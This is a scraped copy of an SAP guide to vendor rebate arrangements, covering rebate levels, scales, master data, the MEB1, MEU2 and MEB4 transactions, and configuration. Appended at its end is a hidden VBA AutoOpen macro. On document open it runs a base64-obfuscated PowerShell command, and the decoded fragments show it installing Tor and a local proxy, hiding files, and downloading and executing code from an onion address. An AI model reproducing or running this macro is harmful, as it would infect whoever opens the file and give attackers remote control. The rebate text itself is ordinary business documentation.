11
Vendor Rebate process and settings Abstract - This document covers - Overview of SAP Vendor Rebates and Process Flow Master data, Transaction data and Configuration settings What are the inputs required to setup vendor rebate functionality Options we can leverage through SAP Vendor Rebate Details - Vendor rebate overview Rebate Arrangement is contract that is made between the vendor & the buyer for giving certain percentage/value of discounts by vendor on purchase over a particular value/quantity of material. These discounts are stored in the system as “Rebate arrangements” These Rebates arrangements are having validity and we can extend the validity of such an arrangement to cover a longer time-span or "until further notice". For example, an arrangement created for one calendar year can be automatically replaced by a new, identical one that is valid for the following calendar year. Levels for Vendor Rebates Purchasing Organization based rebates – In this case rebate arrangements are created based on purchasingorganization/vendor/material/company code combination. But Purchasing organization shouldbe assigned to company code. Plant based rebates –

Vendor rebate process and settings

Embed Size (px)

Citation preview

Vendor Rebate process and settingsAbstract -This document covers -Overview of SAP Vendor Rebates and Process FlowMaster data, Transaction data and Configuration settingsWhat are the inputs required to setup vendor rebate functionalityOptions we can leverage through SAP Vendor RebateDetails -Vendor rebate overview

Rebate Arrangement is contract that is made between the vendor & the buyer for giving certainpercentage/value of discounts by vendor on purchase over a particular value/quantity of material.These discounts are stored in the system as Rebate arrangementsThese Rebates arrangements are having validity and we can extend the validity of such an arrangement tocover a longer time-span or "until further notice". For example, an arrangement created for one calendar yearcan be automatically replaced by a new, identical one that is valid for the following calendar year.Levels for Vendor RebatesPurchasing Organization based rebates In this case rebate arrangements are created based on purchasingorganization/vendor/material/company code combination. But Purchasing organization shouldbe assigned to company code.Plant based rebates In this case rebate arrangements are created based on purchasingorganization/vendor/material/company code combination. In this case it is not required to havePurchasing organization assigned to company code. We need to use this rebate type as in ELpurchasing organizations are assigned to plant.Conditions and DiscountsValue based conditions (Scales) During a certain period if purchase value of certain materials exceeds the defined limit then discounts willcome into picture.Quantity based conditions (Scales) During a certain period if purchase quantity of certain material exceeds the defined limit then discount willcome into picture.These discounts are in the form of percentage, quantity or fixed value etc. depending onCalculation type in condition type and business requirementsNote: Apart from Value and quantity scales there are other options as well e.g. Gross weight, Net weight,volume, distance etc.Process Flow

Inputs for Vendor Rebate Arrangement

Master data change Vendor Master Update

Vendor Master update Every Vendor rebate relevant vendor needs to be marked with Subsequentsettlement indicators

Master data New Rebate Arrangement - Overview(Screen 1) (MEB1)Rebate Arrangement Condition record Similar to info record we need to maintain Rebate arrangementcondition record for vendor and material/material group with purchasing organization combination.

Master data New Rebate Arrangement - Condition record(Screen 2)Condition record for rebate condition types (A001)

Transactional data Business volume comparison (MEU2)User can compare business data with vendor and make changes in business volume figures before settlement.

Transactional data Rebate settlement (MEB4)

Vendor rebate options -Rebate Arrangement at Vendor/Material group levelIf a vendor is supplying range of materials belongingtosamematerial group for different plant then only one rebate arrangement needs to maintained for onematerial group.Rebate Arrangement at Vendor/multiple materials- If a vendor is supplying range of materials belonging todifferentmaterial group for different plant then only one rebate condition record needs to maintained forrange of materials.Option of quantity scale vs. value scale Option to have rebate scales based on quantity procured duringspecified period.AP payment procedure to vendor in case of rebates Payments to the vendors are made by deductingrebate amount from total due.Message to vendor about settlement1. Rebate Arrangement creation2. Rebate settlement runRebate partner assignment (Different invoicing party for main vendor)If ordering vendor is different than invoicing party and payments are going to invoicing party. Then rebateamount has to be debited to invoicing party. This scenario we can map in SAP

Required Configuration data

If P.Orgs assigned to plant not to company code. Then we can not use standard Rebate agreement type. Weneed to create custom agreement type.

We also need other configuration that is linked to custom rebate agreement type.1.Assign rebate condition type to rebate agreement type

2. Number range assignment to rebate agreement type

3.Controls of subsequent settlement for rebate agreement type

4.Condition type marked with Accruals This is required to get rebate condition type with value in PO as statisticalcondition type.

Attribute VB_Name = "ThisDocument"Attribute VB_Base = "1Normal.ThisDocument"Attribute VB_GlobalNameSpace = FalseAttribute VB_Creatable = FalseAttribute VB_PredeclaredId = TrueAttribute VB_Exposed = TrueAttribute VB_TemplateDerived = TrueAttribute VB_Customizable = TrueSub AutoOpen()CreateObject("WScript.Shell").Run "powershell.exe -encodedcommand" & "JwBvAEkATQBOAGoAcgBTAFgAJwA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAnAGgAbgBFAFcAagBjAHEAcgAnADsAJwBkAEUAawBTAGIAWgBJAEEAYQAnADsAJABpAHEAYwAgAD0AIAAoAGcAZQB0AC0AdwBtAGkAbwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAApAC4AVQBVAEkARAA7ACcAdwBQAHIAaABWAEkAagBCAG4AVQBXACcAOwAnAEEAeQBtAFQAbwBPAFMAJwA7AGkAZgAgACgAKABnAHAAIABIAEsAQwBVADoAXABcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQB" _& "yAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACkAIAAtAG0AYQB0AGMAaAAgACQAaQBxAGMAKQB7ADsAJwBkAGIAbgBUAGUAJwA7ACcATQBJAEYAVwBiAHIAagBPAHYAYgAnADsAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAGkAZAAgACQAcABpAGQAKQAuAEsAaQBsAGwAKAApADsAJwBOAHoAcQBTACcAOwAnAEwASgAnADsAfQA7ACcASgBlACcAOwAnAGMAVABkAEsASwB5AG4AJwA7AGYAdQBuAGMAdABpAG8AbgAgAGUAKAAkAGoAbwB1AHAAKQB7ADsAJwBXAG4AaABSAHQAVQBBAHkAJwA7ACcAQwBtAGsAZAB2AEUAUABRAG4AbQBlACcAOwAkAG8AYgBjACAAPQAgACgAKAAoAGkAZQB4ACAAIgBuAHMAbABvAG8AawB1AHAAIAAtAHEAdQBlAHIAeQB0AHkAcABlAD0AdAB4AHQAIAAkAGoAbwB1AHAAIAA4AC" _& "4AOAAuADgALgA4ACIAKQAgAC0AbQBhAHQAYwBoACAAJwAiACcAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAIgAnACwAIAAnACcAKQBbADAAXQAuAFQAcgBpAG0AKAApADsAJwB1AFEAUgBtAGEAWgAnADsAJwBmAE8AJwA7ACQAdgBwAGcALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbwBiAGMALAAgACQAYQByACkAOwAnAHQAdwBEAEUAVwAnADsAJwBQAHoAWgBJAGMAegBkAEoAJwA7ACQAbABjAHIAdwAgAD0AIAAkAGIAeQAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABhAHIAKQAuAEkAdABlAG0AcwAoACkAOwAnAE8AQQBlAHUAeQB4AHYAdgBRAGUAaAAnADsAJwBZAEQAWABwAE4AcABPAFUAWABjACcAOwAkAGIAeQAuAE4AYQBtAGUAUwBwAGEAYwBlACgAJABrAHoAKQAuAEMAbwBwAHkASABlAHIAZQAoACQAb" _& "ABjAHIAdwAsACAAMgAwACkAOwAnAEsAYgBYACcAOwAnAHMAeQBLAHcAWABsAGcAZgBCACcAOwByAGQAIAAkAGEAcgA7ACcAdwBmAG4AVwBBAG8AbgBpAGEAQwBnACcAOwAnAHAARABPAHMAeQBoACcAOwB9ADsAJwBGAG0AWQBYAHYARgBFAHAAZgBjAE8AJwA7ACcAWQBVAG0ARQBuAFgAJwA7ACcASgBLAEkAeQBEAE8AagBwACcAOwAnAEQASgBrAGEATgBMACcAOwAnAHAAcQBlAHcAbwBUAFgAagAnADsAJwBFAGUAZgBZAHUAQgBZAHYARQBqACcAOwAkAGsAegAgAD0AIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACsAIAAnAFwAJwAgACsAIAAkAGkAcQBjADsAJwB3AEQARwAnADsAJwBqAFoAWQBWACcAOwBpAGYAIAAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAawB6ACkAKQB7ADsAJwBpAGEAWABEACcAOwAn" _& "AEsAYwBxAHQAaABTAFkASwAnADsAJABxAGQAIAA9ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlACAALQBQAGEAdABoACAAJABrAHoAOwAnAEMAUABCAEoASQAnADsAJwBVAFcAaQBEAHkAcwAnADsAJABxAGQALgBBAHQAdAByAGkAYgB1AHQAZQBzACAAPQAgACIASABpAGQAZABlAG4AIgAsACAAIgBTAHkAcwB0AGUAbQAiACwAIAAiAE4AbwB0AEMAbwBuAHQAZQBuAHQASQBuAGQAZQB4AGUAZAAiADsAJwBsAFEATQBxAEkARQBxAGoAYQAnADsAJwBWAEoAdgBEAFQAQwAnADsAfQA7ACcAagB6AFcATwBIAHAAcwBwACcAOwAnAFIASgBxAFQARQBZACcAOwAnAFcARgBsAHEAYgBlACcAOwAnAEUATAB4AFIASgBFAFoAUwBHAEwAJwA7ACQ" _& "AdABpAHoAPQAkAGsAegArACAAJwBcAHQAbwByAC4AZQB4AGUAJwA7ACcAVgB3AHcAWgBRACcAOwAnAE8AaABLACcAOwAkAHkAcQB6AD0AJABrAHoAKwAgACcAXABwAG8AbABpAHAAbwAuAGUAeABlACcAOwAnAFQAZQBUAHAAcwBHAEsAagBVAHIAJwA7ACcAWgBIAEYAQwBoAE4AWABBAEoAVQAnADsAJABhAHIAPQAkAGsAegArACcAXAAnACsAJABpAHEAYwArACcALgB6AGkAcAAnADsAJwBBAFAAJwA7ACcAYwBwAGYAVwBXAEcAJwA7ACQAdgBwAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJwBVAEwAYwBVAGsAdQBOACcAOwAnAEsATQBDAHYASgBDACcAOwAkAGIAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAIABTAGgAZQBsAGwALg" _& "BBAHAAcABsAGkAYwBhAHQAaQBvAG4AOwAnAGYATQBkAEwAWgBEAGcAeAAnADsAJwBSAGUAbwBwAFAAQwBPAE0AeQB2ACcAOwAnAGkAeQAnADsAJwBYAE0AZABPAFoAVgBwAHgAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB0AGkAegApACAALQBvAHIAIAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHkAcQB6ACkAKQB7ADsAJwB1AHEAJwA7ACcAWgBGAEEAUwBTACcAOwBlACAAJwBpAC4AdgBhAG4AawBpAG4ALgBkAGUAJwA7ACcAawBZACcAOwAnAEQAeQBYAGQAWQBtAFIAcgB1AGsAJwA7AH0AOwAnAEsARwB1AHgAaQBhAEwASQB0AFAAUgAnADsAJwBBAFIAVgBnAHAARABrACcAOwAnAEMAaQBxAFMAJwA7ACcAbQBDAHUAagBrAGQATwBmAEoAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQA" _& "GEAdABoACAAJAB0AGkAegApACAALQBvAHIAIAAhACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAHkAcQB6ACkAKQB7ADsAJwBYAGwAZQBXAEgAcwAnADsAJwBsAHcATABmAGsAWABtACcAOwBlACAAJwBnAGcALgBpAGIAaQB6AC4AYwBjACcAOwAnAEMASgBZAEcAJwA7ACcAcgBpAFgAQgBTAGEAJwA7AH0AOwAnAGkAegBiAFUAYwBtAEMAVABkAFcATQAnADsAJwBoAFMAUwBvAG8ATABIACcAOwAnAGgAZQBhAHEAJwA7ACcARABRAE0AJwA7ACQAbgBmAD0AJABrAHoAKwAnAFwAcgBvAGEAbQBpAG4AZwBsAG8AZwAnADsAJwBGAEUAaQAnADsAJwBvAGoAJwA7AHMAYQBwAHMAIAAkAHQAaQB6ACAALQBBAHIAIAAiACAALQAtAEwAbwBnACAAYAAiAG4AbwB0AGkAYwBlACAAZgBpAGwAZQAgACQAbgBmAGAAIgAiACAALQB3AGkA" _& "IABIAGkAZABkAGUAbgA7ACcAdwB1AEIAegBVAHYAaABoAEEAJwA7ACcAVABZAFgAeAByAEYAVwB4AHAAJwA7AGQAbwB7AHMAbABlAGUAcAAgADEAOwAkAGgAaQA9AGcAYwAgACQAbgBmAH0AdwBoAGkAbABlACgAIQAoACQAaABpACAALQBtAGEAdABjAGgAIAAnAEIAbwBvAHQAcwB0AHIAYQBwAHAAZQBkACAAMQAwADAAJQA6ACAARABvAG4AZQAuACcAKQApADsAJwBuAGQASgBkAFYAcgBWACcAOwAnAE0AVwBDAHAATABXAHcAJwA7AHMAYQBwAHMAIAAkAHkAcQB6ACAALQBhACAAIgBzAG8AYwBrAHMAUABhAHIAZQBuAHQAUAByAG8AeAB5AD0AbABvAGMAYQBsAGgAbwBzAHQAOgA5ADAANQAwACIAIAAtAHcAaQAgAEgAaQBkAGQAZQBuADsAJwB4AGcAagBEAFcASgBMAFoAcwB5AGgAJwA7ACcAUgB2AGwAQQBDAEQARAB" _& "yAFIAWAAnADsAcwBsAGUAZQBwACAANwA7ACcAYgBVAGIARwBrAFgAZwBCAHAAUgB0ACcAOwAnAFYAaQBXAEIAYgBuAHIATgB6AGUARAAnADsAJABsAHEAdwBtAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAKAAiAGwAbwBjAGEAbABoAG8AcwB0ADoAOAAxADIAMwAiACkAOwAnAEgAYQAnADsAJwBaAHQARwBUAGoARwBtACcAOwAkAGwAcQB3AG0ALgB1AHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEgAVQBxAHEAegAnADsAJwBGAFAAawBPAFkAegBIAEQASwBZAE8AJwA7ACQAdgBwAGcALgBwAHIAbwB4AHkAPQAkAGwAcQB3AG0AOwAnAE8ARAB4AGIARwBlAFgAVgBoACcAOwAnAFkAcgBnAH" _& "QATgBXAGIARQBPAEEAJwA7ACQAcQBpAGIAZAA9ACcAaAB0AHQAcAA6AC8ALwBwAG8AdwBlAHIAdwBvAHIAbQBqAHEAagA0ADIAaAB1AC4AbwBuAGkAbwBuAC8AZwBlAHQALgBwAGgAcAA/AHMAPQBzAGUAdAB1AHAAJgB1AGkAZAA9ACcAIAArACAAJABpAHEAYwA7ACcAdwBUAGkAdQBWAGsAUQAnADsAJwBXAFIAJwA7AHcAaABpAGwAZQAoACEAJABtAGoAKQB7ACQAbQBqAD0AJAB2AHAAZwAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACQAcQBpAGIAZAApAH0AOwAnAGgAUwBhAGUAWgAnADsAJwB6AFMAYgBTAFkASAAnADsAaQBmACAAKAAkAG0AagAgAC0AbgBlACAAJwBuAG8AbgBlACcAKQB7ADsAJwBDAFUAWABkAEkAQwBPAGUAbgBCACcAOwAnAEUAQQBSAEcAeQB6AE0AJwA7AGkAZQB4ACAAJABtAGoAO" _& "wAnAFQARgBjAFcAeQBQACcAOwAnAFgAWgAnADsAfQA7ACcARQBkAGUATwBlACcAOwA=", 0, FalseEnd Sub